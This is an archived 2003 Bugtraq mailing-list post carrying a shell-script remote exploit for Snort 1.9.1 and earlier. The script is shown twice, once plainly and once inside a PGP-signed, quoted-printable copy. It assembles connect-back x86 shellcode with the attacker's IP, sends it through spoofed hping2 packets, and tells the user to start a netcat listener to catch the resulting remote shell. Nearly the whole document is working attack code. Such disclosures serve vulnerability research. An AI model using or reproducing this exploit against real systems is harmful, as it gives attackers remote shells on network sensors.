99300 2003-04-23 18:05 /8 rader/ truff <truff@projet7.org> Importerad: 2003-04-23 18:05 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <4586> Ärende: Snort <=1.9.1 exploit ------------------------------------------------------------ Here is some proof of concept code for the snort <=1.9.1 vuln. -- /* truff (truff@projet7.org) * pgp public key: http://projet7.tuxfamily.org/pgp/truff.pgp * http://www.projet7.org (Security Researchs) */ (99300) /truff <truff@projet7.org>/----------------- Bilaga (application/x-sh) i text 99301 Bilaga (application/pgp-signature) i text 99302 99301 2003-04-23 18:05 /143 rader/ truff <truff@projet7.org> Importerad: 2003-04-23 18:05 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <4587> Bilaga (text/plain) till text 99300 Ärende: Bilaga till: Snort <=1.9.1 exploit ------------------------------------------------------------ #!/bin/sh ########################################################## # p7snort191.sh by truff (truff@projet7.org) # # Snort 1.9.1 and below remote exploit # # # # Tested on Slackware 8.0 with Snort 1.9.1 from sources # # # # Usage: # # 1/ Launch a listening netcat to listen for the shell # # nc -p 45295 -l # # # # 2/ p7snort119.sh yourIP [Ret_Addr] # # # # Where yourIP is the IP where the netcat is listening # # and Ret_Addr is the address (8 hexa digits) of the # # shellcode (eg: 0819fec2) # # # # # # This vulnerability was discovered by Bruce Leidl, # # Juan Pablo Martinez Kuhn, and Alejandro David Weil # # from Core Security Technologies during Bugweek 2003. # # # # Greetz to #root people and projet7 members. # # Special thx to mycroft for helping me with shell # # scripting stuff. # # # # www.projet7.org - Security Researchs - # ########################################################## # Put here the path to your hping2 binary HPING2=/usr/sbin/hping2 # You should change these params to make the snort sensor # capture the packets. IPSRC=192.168.22.1 IPDST=192.168.22.2 PTSRC=3339 PTDST=111 echo "p7snort191.sh by truff (truff@projet7.org)" case $# in 0) echo "Bad number of params" echo "Read comments in sources" exit -1 ;; 1) RET=0819fec2 echo "Using default retaddr (Slackware 8.0)" echo $RET ;; 2) RET=$2 echo "Using custom retaddr" echo $RET ;; *) echo "Bad number of params" echo "Read comments in sources" exit -1 ;; esac # Nops i=0 while [ "$i" -lt "512" ]; do i=$(expr "$i" + 1) echo -n -e "\x90" >> egg done # linux x86 shellcode by eSDee of Netric (www.netric.org) # 131 byte - connect back shellcode (port=0xb0ef) echo -n -e "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" >> egg echo -n -e "\x06\x51\xb1\x01\x51\xb1\x02\x51" >> egg echo -n -e "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" >> egg echo -n -e "\x89\xc2\x31\xc0\x31\xc9\x51\x51" >> egg echo -n -e "\x68" >> egg # IP here echo -n -e $(printf "\\\x%02x" $(echo $1 | cut -d. -f1) \ $(echo $1 | cut -d. -f2) \ $(echo $1 | cut -d. -f3) \ $(echo $1 | cut -d. -f4)) >> egg echo -n -e "\x66\x68\xb0" >> egg echo -n -e "\xef\xb1\x02\x66\x51\x89\xe7\xb3" >> egg echo -n -e "\x10\x53\x57\x52\x89\xe1\xb3\x03" >> egg echo -n -e "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" >> egg echo -n -e "\x74\x06\x31\xc0\xb0\x01\xcd\x80" >> egg echo -n -e "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" >> egg echo -n -e "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" >> egg echo -n -e "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" >> egg echo -n -e "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" >> egg echo -n -e "\x50\x68\x6e\x2f\x73\x68\x68\x2f" >> egg echo -n -e "\x2f\x62\x69\x89\xe3\x50\x53\x89" >> egg echo -n -e "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" >> egg echo -n -e "\x01\xcd\x80" >> egg # 3 dummy bytes for alignment purposes echo -n -e "\x41\x41\x41" >> egg i=0 cpt=$(expr 3840 - 134 - 512) cpt=$(expr $cpt / 4) var1=0x$(echo $RET | cut -b7,8) var2=0x$(echo $RET | cut -b5,6) var3=0x$(echo $RET | cut -b3,4) var4=0x$(echo $RET | cut -b1,2) while [ "$i" -lt "$cpt" ]; do i=$(expr "$i" + 1) echo -n -e $(printf "\\\x%02x" $var1 $var2 $var3 $var4) >> egg done # hping ruleZ $HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \ -d 0x1 --setseq 0xffff0023 --setack 0xc0c4c014 \ 1>/dev/null 2>/dev/null $HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \ -d 0xF00 -E egg --setseq 0xffffffff --setack 0xc0c4c014 \ 1>/dev/null 2>/dev/null $HPING2 $IPSRC -a $IPDST -s $PTDST -p $PTSRC --ack -c 1 \ -d 0 --setseq 0xc0c4c014 --setack 0xffffffff \ 1>/dev/null 2>/dev/null rm egg echo "Exploit Sended" (99301) /truff <truff@projet7.org>/----------------- 99302 2003-04-23 18:05 /98 rader/ truff <truff@projet7.org> Importerad: 2003-04-23 18:05 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <4588> Bilaga (text/plain) till text 99300 Ärende: Bilaga till: Snort <=1.9.1 exploit ------------------------------------------------------------ -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: multipart/mixed; boundary="qMm9M+Fa2AknHoGS" Content-Disposition: inline - --qMm9M+Fa2AknHoGS Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Here is some proof of concept code for the snort <=3D1.9.1 vuln. - --=20 /* truff (truff@projet7.org) * pgp public key: http://projet7.tuxfamily.org/pgp/truff.pgp * http://www.projet7.org (Security Researchs) */ - --qMm9M+Fa2AknHoGS Content-Type: application/x-sh Content-Disposition: attachment; filename="p7snort191.sh" Content-Transfer-Encoding: quoted-printable #!/bin/sh=0A=0A##########################################################= =0A# p7snort191.sh by truff (truff@projet7.org) #=0A# Snort 1.9= .1 and below remote exploit #=0A# = #=0A# Tested on Slackware 8.0 with Snort 1.= 9.1 from sources #=0A# = #=0A# Usage: #=0A# 1/ L= aunch a listening netcat to listen for the shell #=0A# nc -p 45295 -l = #=0A# = #=0A# 2/ p7snort119.sh yourIP [Ret_Addr] = #=0A# #=0A#= Where yourIP is the IP where the netcat is listening #=0A# and Ret_Addr = is the address (8 hexa digits) of the #=0A# shellcode (eg: 0819fec2) = #=0A# = #=0A# = #=0A# This vulnerability was discovered by Bruce Leidl, #=0A# Juan Pab= lo Martinez Kuhn, and Alejandro David Weil #=0A# from Core Security Tec= hnologies during Bugweek 2003. #=0A# = #=0A# Greetz to #root people and projet7 members. = #=0A# Special thx to mycroft for helping me with shell #=0A# scr= ipting stuff. #=0A# = #=0A# www.projet7.org = - - Security Researchs - #=0A###############################################= ###########=0A=0A=0A# Put here the path to your hping2 binary=0AHPING2=3D/u= sr/sbin/hping2=0A=0A# You should change these params to make the snort sens= or =0A# capture the packets.=0AIPSRC=3D192.168.22.1=0AIPDST=3D192.168.22.2= =0APTSRC=3D3339=0APTDST=3D111=0A=0A=0A=0Aecho "p7snort191.sh by truff (truf= f@projet7.org)"=0A=0Acase $# in=0A 0)=0A echo "Bad number of params"=0A= echo "Read comments in sources"=0A exit -1=0A ;;=0A 1)=0A RET= =3D0819fec2=0A echo "Using default retaddr (Slackware 8.0)"=0A echo $= RET=0A ;;=0A 2)=0A RET=3D$2=0A echo "Using custom retaddr"=0A = echo $RET=0A ;;=0A *)=0A echo "Bad number of params"=0A echo "Rea= d comments in sources"=0A exit -1=0A ;;=0Aesac=0A =0A =0A=0A# Nop= s=0Ai=3D0=0Awhile [ "$i" -lt "512" ]; do=0A i=3D$(expr "$i" + 1)=0A echo = - -n -e "\x90" >> egg=0Adone=0A=0A=0A# linux x86 shellcode by eSDee of Netric= (www.netric.org)=0A# 131 byte - connect back shellcode (port=3D0xb0ef)=0Ae= cho -n -e "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" >> egg=0Aecho -n -e "\x06\x51\= xb1\x01\x51\xb1\x02\x51" >> egg=0Aecho -n -e "\x89\xe1\xb3\x01\xb0\x66\xcd\= x80" >> egg=0Aecho -n -e "\x89\xc2\x31\xc0\x31\xc9\x51\x51" >> egg=0Aecho -= n -e "\x68" >> egg=0A=0A# IP here =0Aecho -n -e $(printf "\\\x%02x" $(echo = $1 | cut -d. -f1) \=0A $(echo $1 | cut -d. -f= 2) \=0A $(echo $1 | cut -d. -f3) \=0A = $(echo $1 | cut -d. -f4)) >> egg=0A=0Aecho -n -e "\x= 66\x68\xb0" >> egg=0Aecho -n -e "\xef\xb1\x02\x66\x51\x89\xe7\xb3" >> egg= =0Aecho -n -e "\x10\x53\x57\x52\x89\xe1\xb3\x03" >> egg=0Aecho -n -e "\xb0\= x66\xcd\x80\x31\xc9\x39\xc1" >> egg =0Aecho -n -e "\x74\x06\x31\xc0\xb0\x01= \xcd\x80" >> egg=0Aecho -n -e "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" >> egg=0Ae= cho -n -e "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" >> egg=0Aecho -n -e "\xcd\x80\= x31\xc0\xb0\x3f\x89\xd3" >> egg=0Aecho -n -e "\xb1\x02\xcd\x80\x31\xc0\x31\= xd2" >> egg=0Aecho -n -e "\x50\x68\x6e\x2f\x73\x68\x68\x2f" >> egg=0Aecho -= n -e "\x2f\x62\x69\x89\xe3\x50\x53\x89" >> egg=0Aecho -n -e "\xe1\xb0\x0b\x= cd\x80\x31\xc0\xb0" >> egg=0Aecho -n -e "\x01\xcd\x80" >> egg=0A=0A# 3 dumm= y bytes for alignment purposes=0Aecho -n -e "\x41\x41\x41" >> egg=0A=0Ai=3D= 0=0Acpt=3D$(expr 3840 - 134 - 512)=0Acpt=3D$(expr $cpt / 4)=0A=0A=0Avar1=3D= 0x$(echo $RET | cut -b7,8)=0Avar2=3D0x$(echo $RET | cut -b5,6)=0Avar3=3D0x$= (echo $RET | cut -b3,4)=0Avar4=3D0x$(echo $RET | cut -b1,2)=0A=0Awhile [ "$= i" -lt "$cpt" ]; do=0A i=3D$(expr "$i" + 1)=0A echo -n -e $(printf "\\\x%= 02x" $var1 $var2 $var3 $var4) >> egg=0Adone=0A=0A=0A# hping ruleZ=0A$HPING2= $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \=0A -d 0x1 -= - -setseq 0xffff0023 --setack 0xc0c4c014 \=0A 1>/dev/null 2>/dev/null= =0A=0A$HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \=0A = -d 0xF00 -E egg --setseq 0xffffffff --setack 0xc0c4c014 \=0A 1>= /dev/null 2>/dev/null=0A=0A$HPING2 $IPSRC -a $IPDST -s $PTDST -p $PTSRC --a= ck -c 1 \=0A -d 0 --setseq 0xc0c4c014 --setack 0xffffffff \=0A = 1>/dev/null 2>/dev/null=0A=0Arm egg=0A=0Aecho "Exploit Sended"=0A=0A - --qMm9M+Fa2AknHoGS-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+ppSOh82dJ0V11s8RAq5GAJ9L3TXtPYa01+BbED+McNknou2DiQCfVuN5 WV/73pn3esMTb8gwkhjcDrk= =9Dt8 -----END PGP SIGNATURE----- (99302) /truff <truff@projet7.org>/-------(Ombruten)